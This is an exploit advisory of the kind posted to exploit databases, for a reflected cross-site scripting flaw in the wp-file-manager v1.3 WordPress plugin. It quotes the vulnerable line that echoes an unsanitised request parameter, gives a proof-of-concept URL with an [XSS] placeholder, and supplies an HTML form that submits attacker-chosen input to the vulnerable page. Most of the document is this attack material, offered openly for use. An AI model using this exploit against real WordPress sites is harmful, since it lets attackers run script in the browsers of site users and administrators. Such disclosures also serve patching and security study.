###################################
# Exploit Title : Wp-file-manager v1.3 Cross Site Scripting
# Software dl : https://github.com/SergeyCherepanov/wp-file-manager
# Category : Webapps
# Author : Ali Alizadeh Asl (3p)
# Date : 7-12-2017
# Tested on : Win , KaLi_LiNuX
# Dork : N/A
# Telegram : @OverFear
###################################
Description :
XSS allows An Attacker to run Java Script codes.
###################################
Vulnerable page :
http://localhost:8080/wordpress/wp-content/plugins/wp-file-manager/index.php
###################################
Vulnerable source code :
line 20: echo $_REQUEST['id'];
###################################
PoC :
http://localhost:8080/wordpress/wp-content/plugins/wp-file-manager/index.php?id=[XSS]
###################################
Exploit :
<html>
<form action="http://localhost:8080/wordpress/wp-content/plugins/wp-file-manager/index.php" method="get">
<input type="text" name="id">
<input type="submit" value="XSS">
</form>
</html>
